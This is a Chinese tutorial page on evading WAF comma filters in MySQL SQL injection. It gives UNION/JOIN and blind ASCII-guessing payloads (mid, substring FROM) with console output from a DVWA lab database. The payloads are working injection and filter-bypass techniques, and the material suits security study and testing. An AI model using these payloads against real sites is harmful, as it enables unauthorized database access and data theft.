SQL注入技巧之顯注與盲注中過濾逗號(hào)繞過詳析
前言
sql注入在很早很早以前是很常見的一個(gè)漏洞。后來隨著安全水平的提高,sql注入已經(jīng)很少能夠看到了。但是就在今天,還有很多網(wǎng)站帶著sql注入漏洞在運(yùn)行。下面這篇文章主要介紹了關(guān)于SQL注入逗號(hào)繞過的相關(guān)內(nèi)容,分享出來供大家參考學(xué)習(xí),下面話不多說了,來一起看看詳細(xì)的介紹吧
1.聯(lián)合查詢顯注繞過逗號(hào)
在聯(lián)合查詢時(shí)使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位,語句中包含了多個(gè)逗號(hào),如果有WAF攔截了逗號(hào)時(shí),我們的聯(lián)合查詢不能用了。
繞過
在顯示位上替換為常見的注入變量或其它語句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C); union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在數(shù)據(jù)庫中演示聯(lián)合查詢
UNION開始是我們在URL中注入的語句,這里只是演示,在實(shí)際中如果我們在注入語句中有逗號(hào)就可能被攔截
mysql> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出現(xiàn)逗號(hào),使用Join來注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查詢我們想要的數(shù)據(jù)
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗號(hào)繞過
MID 和substr 函數(shù)用于從文本字段中提取字符
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查詢數(shù)據(jù)庫用戶名第一個(gè)字符的ascii碼
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注,通過猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗號(hào)繞過SUBTTRING 函數(shù)
substring(str FROM pos)
從字符串str的起始位置pos 返回一個(gè)子串
mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)為o //o的ascii為111, mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
相關(guān)文章
詳解Navicat Premium 15 無限試用腳本的方法
這篇文章主要介紹了Navicat Premium 15 無限試用腳本的方法,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧2020-11-11
淺談一下數(shù)據(jù)庫系統(tǒng)的發(fā)展與組成
這篇文章主要介紹了淺談一下數(shù)據(jù)庫系統(tǒng)的發(fā)展與組成,數(shù)據(jù)庫系統(tǒng),指在計(jì)算機(jī)系統(tǒng)中引入數(shù)據(jù)庫后的系統(tǒng),一般由數(shù)據(jù)庫、數(shù)據(jù)庫管理系統(tǒng)、應(yīng)用系統(tǒng)、數(shù)據(jù)庫管理員(DBA)構(gòu)成,本文就數(shù)據(jù)庫的發(fā)展展開詳細(xì)講解2023-07-07
explain慢查詢SQL調(diào)優(yōu)exists的實(shí)戰(zhàn)
這篇文章主要介紹了explain慢查詢SQL調(diào)優(yōu)exists的實(shí)戰(zhàn),經(jīng)過兩次優(yōu)化SQL語句之后,慢SQL的性能顯著提升了,耗時(shí)從8s優(yōu)化到了0.7s,現(xiàn)在拿出來給大家分享一下,希望對(duì)你會(huì)有所幫助2023-12-12
利用DataSet部分功能實(shí)現(xiàn)網(wǎng)站登錄
這篇文章主要介紹了利用DataSet部分功能實(shí)現(xiàn)網(wǎng)站登錄 ,需要的朋友可以參考下2017-05-05
openGauss數(shù)據(jù)庫在CentOS上的安裝實(shí)踐記錄
這篇文章主要介紹了openGauss數(shù)據(jù)庫在CentOS上的安裝實(shí)踐,本文是基于華為云ECS+CentOS 7的openGauss數(shù)據(jù)庫安裝實(shí)踐,需要的朋友可以參考下2022-07-07
數(shù)據(jù)庫報(bào):ORA-01196(ORA-10458/ORA-01110)錯(cuò)誤的解決方法
這篇文章主要給大家介紹了關(guān)于數(shù)據(jù)庫報(bào):ORA-01196(ORA-10458/ORA-01110)錯(cuò)誤的解決方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用數(shù)據(jù)庫具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2019-05-05
把Navicat中數(shù)據(jù)庫所有表導(dǎo)出的方法
通過Navicat導(dǎo)出數(shù)據(jù)庫中的數(shù)據(jù)是比較常用的操作之一,下面這篇文章主要給大家介紹了關(guān)于如何把Navicat中數(shù)據(jù)庫所有表導(dǎo)出的相關(guān)資料,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-06-06

